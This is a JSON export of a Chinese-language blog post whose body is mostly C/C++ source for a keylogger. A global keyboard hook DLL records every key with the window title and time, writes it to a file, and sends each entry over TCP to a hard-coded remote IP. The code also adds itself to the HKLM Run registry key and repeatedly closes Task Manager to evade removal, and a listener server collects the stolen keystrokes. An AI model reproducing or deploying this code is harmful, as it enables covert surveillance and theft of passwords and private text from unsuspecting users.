{"id":201,"date":"2009-09-13T11:48:02","date_gmt":"2009-09-13T03:48:02","guid":{"rendered":"http:\/\/115.29.108.60\/?p=201"},"modified":"2011-09-26T21:38:38","modified_gmt":"2011-09-26T13:38:38","slug":"hooks-and-socket","status":"publish","type":"post","link":"http:\/\/115.29.108.60\/?p=201","title":{"rendered":"Hooks and Socket"},"content":{"rendered":"<p>\u524d\u4e24\u5929\u5199\u4e86\u4e2a\u76d1\u542c\u7528\u6237\u952e\u76d8\u6d88\u606f\u7684\u7a0b\u5e8f\uff0c\u7814\u7a76\u4e86\u4e0bHooks\u548cSocket\u3002\u867d\u7136\u7a0b\u5e8f\u529f\u80fd\u662f\u7b80\u5355\u7684\uff0c\u4f46\u7f16\u5199\u4ee3\u7801\u7684\u8fc7\u7a0b\u4e2d\u9047\u5230\u7684\u95ee\u9898\u4e0d\u5c11\uff0c\u89e3\u51b3\u7684\u8fc7\u7a0b\u4e2d\u6536\u83b7\u4e5f\u4e0d\u5c11\u3002<\/p>\n<p>Hooks\u76d1\u542c\u6240\u6709\u7ebf\u7a0b\u7684\u6d88\u606f\u9700\u8981\u7f16\u5199dll\uff0c\u7528\u6765\u6ce8\u5165\u5176\u4ed6\u7ebf\u7a0b\u3002<\/p>\n<p>MyHookDLL.h<\/p>\n<p>#include &lt;windows.h&gt;<br \/>\n#include &lt;stdio.h&gt;<br \/>\n#include &lt;process.h&gt;\/\/\u7ebf\u7a0b\u64cd\u4f5c<br \/>\n\/\/#include &lt;Winsock2.h&gt;<\/p>\n<p>#ifdef __cplusplus<br \/>\n#define EXPORT extern &#8220;C&#8221; __declspec(dllexport)<br \/>\n#else<br \/>\n#define EXPORT __declspec(dllexport)<br \/>\n#endif<\/p>\n<p>EXPORT void SetHook();<br \/>\nEXPORT void ReleaseHook();<br \/>\nLRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);<br \/>\nvoid TheadProc(PVOID pvoid);<\/p>\n<p>MyHookDLL.cpp<\/p>\n<p>#include &#8220;MyHookDLL.h&#8221;<\/p>\n<p>static HHOOK MyHook = NULL;<br \/>\nTCHAR szBuf[MAX_PATH+20];<\/p>\n<p>BOOL APIENTRY DllMain( HANDLE hModule,<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 DWORD\u00a0 ul_reason_for_call,<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 LPVOID lpReserved<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0 )<br \/>\n{<br \/>\n\u00a0\u00a0\u00a0 return TRUE;<br \/>\n}<\/p>\n<p>EXPORT void SetHook()<br \/>\n{<br \/>\n\u00a0if(!MyHook)<br \/>\n\u00a0\u00a0MyHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(&#8220;MyHookDLL.dll&#8221;), 0);<br \/>\n}<\/p>\n<p>EXPORT void ReleaseHook()<br \/>\n{<br \/>\n\u00a0if(MyHook)<br \/>\n\u00a0\u00a0UnhookWindowsHookEx(MyHook);<br \/>\n}<\/p>\n<p>LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)<br \/>\n{<br \/>\n\u00a0\u00a0\u00a0 if(nCode &lt; 0)\/\/ do not process message<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return CallNextHookEx(MyHook, nCode, wParam, lParam);<br \/>\n\u00a0if(lParam &amp; 0x80000000)\/\/lParam\u7b2c31\u4f4d\u4e3a0\u7684\u65f6\u5019\uff0c\u8868\u793a\u6309\u952e\u6b63\u5728\u88ab\u6309\u4e0b\uff0c\u4e3a1\u7684\u65f6\u5019\uff0c\u8868\u793a\u6309\u952e\u6b63\u5728\u88ab\u91ca\u653e\u3002\u6b64\u5904\u91ca\u653e\u7684\u65f6\u5019\u8bb0\u5f55\u3002<br \/>\n\u00a0{<br \/>\n\u00a0\u00a0TCHAR szKeyName[20];<br \/>\n\u00a0\u00a0TCHAR szWindowText[MAX_PATH];<br \/>\n\u00a0\u00a0FILE* fp = NULL;<br \/>\n\u00a0\u00a0SYSTEMTIME systime;<br \/>\n\u00a0\u00a0ZeroMemory(szBuf, sizeof(szBuf));<br \/>\n\u00a0\u00a0ZeroMemory(szKeyName, sizeof(szKeyName));<br \/>\n\u00a0\u00a0ZeroMemory(szWindowText, sizeof(szWindowText));<br \/>\n\u00a0\u00a0ZeroMemory(&amp;systime, sizeof(SYSTEMTIME));<br \/>\n\u00a0\u00a0GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));\/\/\u53d6\u5f97\u6309\u952e\u540d<br \/>\n\u00a0\u00a0if(!GetKeyState(20) &amp;&amp; wParam != 20)\/\/\u5982\u679c\u5927\u5c0f\u5199\u9501\u5b9a\u952e\u672a\u6253\u5f00\uff0c\u4e14\u6309\u952e\u4e0d\u662f\u5927\u5c0f\u5199\u9501\u5b9a\u952e\u3002<br \/>\n\u00a0\u00a0\u00a0lstrcat(szKeyName, TEXT(&#8221; Caps Unlock&#8221;));<br \/>\n\u00a0\u00a0HWND hWnd = GetActiveWindow();\/\/GetFocus();\u53d6\u5f97\u6d3b\u52a8\u7a97\u53e3\u53e5\u67c4<br \/>\n\u00a0\u00a0if(!GetWindowText(hWnd, szWindowText, sizeof(szWindowText)))\/\/\u53d6\u5f97hWnd\u7a97\u53e3\u540d<br \/>\n\u00a0\u00a0\u00a0lstrcpy(szWindowText, &#8220;Unkown&#8221;);<br \/>\n\u00a0\u00a0GetLocalTime(&amp;systime);\/\/\u53d6\u5f97\u7cfb\u7edf\u65f6\u95f4<br \/>\n\u00a0\u00a0wsprintf(szBuf, &#8220;KEYBOARD &#8211; nCode: %d, VK: %d, KEY: %s, Window: %s, Time: %d-%d %d:%d:%d&#8221;, nCode, wParam, szKeyName, szWindowText, systime.wMonth, systime.wDay, systime.wHour, systime.wMinute, systime.wSecond);<br \/>\n\u00a0\u00a0if((fp = fopen(&#8220;C:\\\\Keyboard.txt&#8221;, &#8220;a&#8221;)) == NULL)<br \/>\n\u00a0\u00a0\u00a0fp = fopen(&#8220;C:\\\\Keyboard.txt&#8221;, &#8220;w&#8221;);<br \/>\n\u00a0\u00a0if(fp)<br \/>\n\u00a0\u00a0{<br \/>\n\u00a0\u00a0\u00a0fputs(szBuf, fp);<br \/>\n\u00a0\u00a0\u00a0fputc(&#8216;\\r&#8217;, fp);<br \/>\n\u00a0\u00a0\u00a0fputc(&#8216;\\n&#8217;, fp);<br \/>\n\u00a0\u00a0\u00a0fclose(fp);<br \/>\n\u00a0\u00a0\u00a0_beginthread(TheadProc, 0, NULL);<br \/>\n\u00a0\u00a0}<br \/>\n\u00a0}<br \/>\n\u00a0\/\/MessageBox(NULL, szBuf, &#8220;MyHook&#8221;, MB_OK);<br \/>\n\u00a0\u00a0\u00a0 return CallNextHookEx(MyHook, nCode, wParam, lParam);<br \/>\n}<\/p>\n<p>\u7531\u4e8eSocket\u963b\u585e\u8fd0\u884c\uff0c\u6240\u4ee5\u653e\u5230\u7ebf\u7a0b\u53bb\u8fd0\u884c\u6bd4\u8f83\u597d\u3002<\/p>\n<p>void TheadProc(PVOID pvoid)<br \/>\n{<br \/>\n\u00a0WSADATA wsaData;<br \/>\n\u00a0WSAStartup(MAKEWORD(2, 0), &amp;wsaData);\/\/\u521d\u59cb\u5316dll\u4e2dScoket\u7248\u672c\u4e3a2.0\u7684\u4f8b\u7a0b<br \/>\n\u00a0int sockfd;<br \/>\n\u00a0\/*<br \/>\n\u00a0if(-1 == (sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)))\/\/\u521b\u5efaSocket<br \/>\n\u00a0\u00a0\/\/MessageBox(NULL, TEXT(&#8220;Function: socket error!&#8221;), TEXT(&#8220;Error&#8221;), MB_OK | MB_ICONERROR);<br \/>\n\u00a0{<br \/>\n\u00a0\u00a0WSACleanup();<br \/>\n\u00a0\u00a0return FALSE;<br \/>\n\u00a0}<br \/>\n\u00a0*\/<br \/>\n\u00a0sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);<br \/>\n\u00a0\/\/\u914d\u7f6e\u5bf9\u65b9\u5730\u5740\u4fe1\u606f<br \/>\n\u00a0sockaddr_in their_addr;<br \/>\n\u00a0ZeroMemory(&amp;their_addr, sizeof(sockaddr_in));<br \/>\n\u00a0their_addr.sin_family =\u00a0 AF_INET;\/\/IP\u5730\u5740\u5bb6\u65cf<br \/>\n\u00a0their_addr.sin_addr.S_un.S_addr = inet_addr(&#8220;193.168.1.103&#8221;);\/\/IP\u5730\u5740<br \/>\n\u00a0their_addr.sin_port = htons(3000);\/\/\u7aef\u53e3<br \/>\n\u00a0\/*<br \/>\n\u00a0if(-1 == connect(sockfd, (sockaddr *)&amp;their_addr, sizeof(sockaddr_in)))<br \/>\n\u00a0\u00a0\/\/MessageBox(NULL, TEXT(&#8220;Function: connect error!&#8221;), TEXT(&#8220;Error&#8221;), MB_OK | MB_ICONERROR);<br \/>\n\u00a0{<br \/>\n\u00a0\u00a0closesocket(sockfd);<br \/>\n\u00a0\u00a0WSACleanup();<br \/>\n\u00a0\u00a0return FALSE;<br \/>\n\u00a0}<br \/>\n\u00a0*\/<br \/>\n\u00a0connect(sockfd, (sockaddr *)&amp;their_addr, sizeof(sockaddr_in));<br \/>\n\u00a0send(sockfd, szBuf, sizeof(szBuf), 0);<br \/>\n\u00a0closesocket(sockfd);<br \/>\n\u00a0WSACleanup();<br \/>\n\u00a0_endthread();<br \/>\n}<\/p>\n<p>MyHook.cpp\u4e2d\u7684\u4e3b\u8981\u51fd\u6570<\/p>\n<p>BOOL SetAutoRun(HWND hwnd) \/\/\u5f00\u673a\u81ea\u52a8\u8fd0\u884c<br \/>\n{<br \/>\n\u00a0\/\/\u5f97\u5230\u7a0b\u5e8f\u672c\u8eab\u8def\u5f84<br \/>\n\u00a0TCHAR sthPath[MAX_PATH];<br \/>\n\u00a0GetModuleFileName(NULL, sthPath, MAX_PATH);<br \/>\n\u00a0\/\/MessageBox(NULL, sthPath, &#8220;path&#8221;, MB_OK);\u00a0<br \/>\n\u00a0TCHAR str[MAX_PATH];<br \/>\n\u00a0HKEY hRegKey;<br \/>\n\u00a0DWORD dwValue = 1;<br \/>\n\u00a0BOOL bResult;<br \/>\n\u00a0lstrcpy(str, &#8220;Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run&#8221;);<br \/>\n\u00a0if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, str, 0, KEY_ALL_ACCESS, &amp;hRegKey) != ERROR_SUCCESS)<br \/>\n\u00a0\u00a0bResult = FALSE;<br \/>\n\u00a0else<br \/>\n\u00a0{<br \/>\n\u00a0\u00a0if(RegSetValueEx(hRegKey, str, 0, REG_SZ, (BYTE*)sthPath, strlen(sthPath) + 1) != ERROR_SUCCESS)<br \/>\n\u00a0\u00a0\u00a0bResult = FALSE;<br \/>\n\u00a0\u00a0else<br \/>\n\u00a0\u00a0{<br \/>\n\u00a0\u00a0\u00a0\/\/MessageBox(NULL, &#8220;OK&#8221;, &#8220;&#8221;, MB_OK);<br \/>\n\u00a0\u00a0\u00a0bResult = TRUE;<br \/>\n\u00a0\u00a0\u00a0RegCloseKey(hRegKey);<br \/>\n\u00a0\u00a0}<br \/>\n\u00a0}\u00a0<br \/>\n\u00a0return bResult;<br \/>\n}<\/p>\n<p>void CALLBACK Killtaskmgr(HWND hwnd, UINT message, UINT iTimerID, DWORD dwTime)<br \/>\n{<br \/>\n\u00a0HWND hwndTasken,hwndTaskcn;<br \/>\n\u00a0hwndTasken=FindWindow(NULL, &#8220;Windows Task Manager&#8221;);<br \/>\n\u00a0hwndTaskcn=FindWindow(NULL, &#8220;Windows \u4efb\u52a1\u7ba1\u7406\u5668&#8221;);<br \/>\n\u00a0if(hwndTasken)<br \/>\n\u00a0{<br \/>\n\u00a0\u00a0PostMessage(hwndTasken, WM_CLOSE, 0, 0);<br \/>\n\u00a0\u00a0Sleep(200);<br \/>\n\u00a0}<br \/>\n\u00a0if(hwndTaskcn)<br \/>\n\u00a0{<br \/>\n\u00a0\u00a0PostMessage(hwndTaskcn, WM_CLOSE, 0, 0);<br \/>\n\u00a0\u00a0Sleep(200);<br \/>\n\u00a0}<\/p>\n<p>\u4ee5\u4e0a\u662f\u5ba2\u6237\u7aef\uff0c\u4e0b\u9762\u8d34\u4e0b\u670d\u52a1\u7aef\u4e3b\u8981\u4ee3\u7801\u3002<\/p>\n<p>\/\/<br \/>\n\/\/\u00a0\u00a0 \u51fd\u6570: Listen(PVOID)<br \/>\n\/\/<br \/>\n\/\/\u00a0\u00a0 \u76ee\u7684: \u521b\u5efa\u76d1\u542c\u5b9e\u4f53<br \/>\n\/\/<br \/>\n\/\/\u00a0\u00a0 \u6ce8\u91ca:<br \/>\n\/\/<br \/>\n\/\/\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u5728\u6b64\u51fd\u6570\u4e2d\uff0c\u6211\u4eec\u901a\u8fc7Socket\u521b\u5efa\u76d1\u542c\u5b9e\u4f53\uff0c<br \/>\n\/\/\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u5e76\u5c06\u76d1\u542c\u5230\u7684\u6d88\u606f\u663e\u793a\u51fa\u6765\u3002<br \/>\n\/\/<br \/>\nvoid Listen(PVOID pvoid)<br \/>\n{<br \/>\n\u00a0fd_set fds;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u9700\u8981\u76d1\u89c6\u6539\u53d8\u7684Socket\u96c6\u5408<br \/>\n\u00a0timeval timeout = {3, 0};\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u5f02\u6b65\u5904\u7406\u5ef6\u65f63.0\u79d2<br \/>\n\u00a0int sockOld, sockNew, iSize = sizeof(sockaddr_in);<br \/>\n\u00a0char szReport[512];\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u63a5\u5230\u7684\u6d88\u606f<br \/>\n\u00a0int y = 0;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u6d88\u606f\u663e\u793a\u7684\u521d\u59cbY\u503c<br \/>\n\u00a0FILE* fp = NULL;<br \/>\n\u00a0WSADATA wsaData;\u00a0<br \/>\n\u00a0WSAStartup(MAKEWORD(2, 0), &amp;wsaData);\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u521d\u59cb\u5316dll\u4e2d\u7248\u672c\u4e3a2.0\u7684Socket\u4f8b\u7a0b<br \/>\n\u00a0char hostname[255];\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u4e3b\u673a\u540d<br \/>\n\u00a0if(-1 == gethostname(hostname, sizeof(hostname)))<br \/>\n\u00a0{<br \/>\n\u00a0\u00a0MessageBox(NULL, TEXT(&#8220;Fuction: gethostname() error!&#8221;), TEXT(&#8220;Error&#8221;), MB_OK | MB_ICONERROR);<br \/>\n\u00a0\u00a0return;<br \/>\n\u00a0}<br \/>\n\u00a0hostent* host = gethostbyname(hostname);\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u83b7\u53d6\u4e3b\u673aIP<br \/>\n\u00a0TCHAR hostaddr[255];\u00a0<br \/>\n\u00a0MultiByteToWideChar(CP_ACP, 0, inet_ntoa(*((in_addr*)host-&gt;h_addr_list[1])), -1, hostaddr, 255);\u00a0\/\/\u5b57\u7b26\u96c6\u8f6c\u6362<br \/>\n\u00a0\/\/\u663e\u793a\u6d88\u606f<br \/>\n\u00a0static int cyChar;<br \/>\n\u00a0TEXTMETRIC tm;<br \/>\n\u00a0HDC hDC = GetDC((HWND)pvoid);<br \/>\n\u00a0GetTextMetrics(hDC, &amp;tm);<br \/>\n\u00a0cyChar = tm.tmHeight + tm.tmExternalLeading;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u5b57\u7b26\u9ad8\u5ea6<br \/>\n\u00a0TextOut(hDC, 1, y++ * cyChar, hostaddr, lstrlen(hostaddr));<br \/>\n\u00a0ReleaseDC((HWND)pvoid, hDC);<br \/>\n\u00a0if(-1\u00a0 == (sockOld = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)))\u00a0\/\/\u521b\u5efa\u76d1\u542cSocket<br \/>\n\u00a0{<br \/>\n\u00a0\u00a0MessageBox(NULL, TEXT(&#8220;Fuction: socket() error!&#8221;), TEXT(&#8220;Error&#8221;), MB_OK | MB_ICONERROR);<br \/>\n\u00a0\u00a0WSACleanup();<br \/>\n\u00a0\u00a0return;<br \/>\n\u00a0}<br \/>\n\u00a0sockaddr_in my_addr, their_addr;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u76d1\u542c\u7684\u672c\u673a\u5730\u5740\u4fe1\u606f\u548c\u53d1\u9001\u8bf7\u6c42\u7684\u5bf9\u65b9\u5730\u5740\u4fe1\u606f<br \/>\n\u00a0my_addr.sin_family = AF_INET;<br \/>\n\u00a0my_addr.sin_addr.S_un = (*((in_addr*)host-&gt;h_addr_list[1])).S_un;\u00a0\/\/INADDR_ANY;\u65f6IP\u4e3a0.0.0.0 .S_addr = inet_addr(&#8220;118.249.58.214&#8221;);<br \/>\n\u00a0my_addr.sin_port = htons(3000);<br \/>\n\u00a0memset(my_addr.sin_zero, 0, sizeof(my_addr.sin_zero));<br \/>\n\u00a0if(-1 == bind(sockOld, (sockaddr*)&amp;my_addr, iSize))\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u7ed1\u5b9a\u76d1\u542cSocket\u548c\u76d1\u542c\u7684\u672c\u673a\u5730\u5740\u4fe1\u606f<br \/>\n\u00a0{<br \/>\n\u00a0\u00a0MessageBox(NULL, TEXT(&#8220;Fuction: bind() error!&#8221;), TEXT(&#8220;Error&#8221;), MB_OK | MB_ICONERROR);<br \/>\n\u00a0\u00a0closesocket(sockOld);<br \/>\n\u00a0\u00a0WSACleanup();<br \/>\n\u00a0\u00a0return;<br \/>\n\u00a0}<br \/>\n\u00a0if(-1 == listen(sockOld, 1))\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u76d1\u542c\u7aef\u53e3\uff0c\u5e76\u963b\u585e\u3002<br \/>\n\u00a0{<br \/>\n\u00a0\u00a0MessageBox(NULL, TEXT(&#8220;Fuction: listen() error!&#8221;), TEXT(&#8220;Error&#8221;), MB_OK | MB_ICONERROR);<br \/>\n\u00a0\u00a0closesocket(sockOld);<br \/>\n\u00a0\u00a0WSACleanup();<br \/>\n\u00a0\u00a0return;<br \/>\n\u00a0}<br \/>\n\u00a0while(1)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u63a5\u53d7\u8bf7\u6c42\u5faa\u73af<br \/>\n\u00a0{<br \/>\n\u00a0\u00a0\/\/\u91cd\u7f6e\u9700\u76d1\u542c\u7684Socket\u7ed3\u5408\uff0c\u76d1\u542c\u6539\u53d8\u3002<br \/>\n\u00a0\u00a0FD_ZERO(&amp;fds);<br \/>\n\u00a0\u00a0FD_SET(sockOld, &amp;fds);<br \/>\n\u00a0\u00a0switch(select(0, &amp;fds, &amp;fds, NULL, &amp;timeout))<br \/>\n\u00a0\u00a0{<br \/>\n\u00a0\u00a0\u00a0case -1:<br \/>\n\u00a0\u00a0\u00a0case 0: break;<br \/>\n\u00a0\u00a0\u00a0default:<br \/>\n\u00a0\u00a0\u00a0\u00a0if(FD_ISSET(sockOld, &amp;fds))\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/sockOld\u72b6\u6001\u6539\u53d8<br \/>\n\u00a0\u00a0\u00a0\u00a0{\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u65b0\u8fde\u63a5<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0if(-1 == (sockNew = accept(sockOld, (sockaddr*)&amp;their_addr, &amp;iSize)))<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0{<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0MessageBox(NULL, TEXT(&#8220;Fuction: accept() error!&#8221;), TEXT(&#8220;Error&#8221;), MB_OK | MB_ICONERROR);<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0closesocket(sockOld);<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0WSACleanup();<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return;<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0}<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0ZeroMemory(szReport, sizeof(szReport));<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0recv(sockNew, szReport, sizeof(szReport), 0);<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0TCHAR szBuf[512];<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0ZeroMemory(szBuf, sizeof(szBuf));<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0MultiByteToWideChar(CP_ACP, 0, szReport, -1, szBuf, 512);\u00a0\/\/\u5b57\u7b26\u96c6\u8f6c\u6362<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0\/\/MessageBox(NULL, szBuf, TEXT(&#8220;Report&#8221;), MB_OK);<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0HDC hDC = GetDC((HWND)pvoid);<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0if(y &gt; 30)<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0{<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0InvalidateRect((HWND)pvoid, NULL, TRUE);<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0y = 0;<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0}<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0TextOut(hDC, 1, y++ * cyChar, szBuf, lstrlen(szBuf));<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0ReleaseDC((HWND)pvoid, hDC);<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u5199\u6587\u4ef6<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0if((fp = fopen(&#8220;C:\\\\Listen.txt&#8221;, &#8220;a&#8221;)) == NULL)<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0fp = fopen(&#8220;C:\\\\Listen.txt&#8221;, &#8220;w&#8221;);<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0if(fp)<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0{<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0fputs(szReport, fp);<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0fputc(&#8216;\\r&#8217;, fp);<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0fputc(&#8216;\\n&#8217;, fp);<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0fclose(fp);\u00a0\u00a0\u00a0<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0}<br \/>\n\u00a0\u00a0\u00a0\u00a0\u00a0closesocket(sockNew);<br \/>\n\u00a0\u00a0\u00a0\u00a0}<br \/>\n\u00a0\u00a0}<br \/>\n\u00a0}<br \/>\n\u00a0\/\/\u5173\u95edSocket<br \/>\n\u00a0closesocket(sockOld);<br \/>\n\u00a0WSACleanup();<br \/>\n}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u524d\u4e24\u5929\u5199\u4e86\u4e2a\u76d1\u542c\u7528\u6237\u952e\u76d8\u6d88\u606f\u7684\u7a0b\u5e8f\uff0c\u7814\u7a76\u4e86\u4e0bHooks\u548cSocket\u3002\u867d\u7136\u7a0b\u5e8f\u529f\u80fd\u662f\u7b80\u5355\u7684\uff0c\u4f46\u7f16\u5199\u4ee3\u7801\u7684\u8fc7\u7a0b\u4e2d [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[23],"tags":[],"class_list":["post-201","post","type-post","status-publish","format-standard","hentry","category-windows"],"_links":{"self":[{"href":"http:\/\/115.29.108.60\/index.php?rest_route=\/wp\/v2\/posts\/201","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/115.29.108.60\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/115.29.108.60\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/115.29.108.60\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/115.29.108.60\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=201"}],"version-history":[{"count":2,"href":"http:\/\/115.29.108.60\/index.php?rest_route=\/wp\/v2\/posts\/201\/revisions"}],"predecessor-version":[{"id":867,"href":"http:\/\/115.29.108.60\/index.php?rest_route=\/wp\/v2\/posts\/201\/revisions\/867"}],"wp:attachment":[{"href":"http:\/\/115.29.108.60\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=201"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/115.29.108.60\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=201"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/115.29.108.60\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=201"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}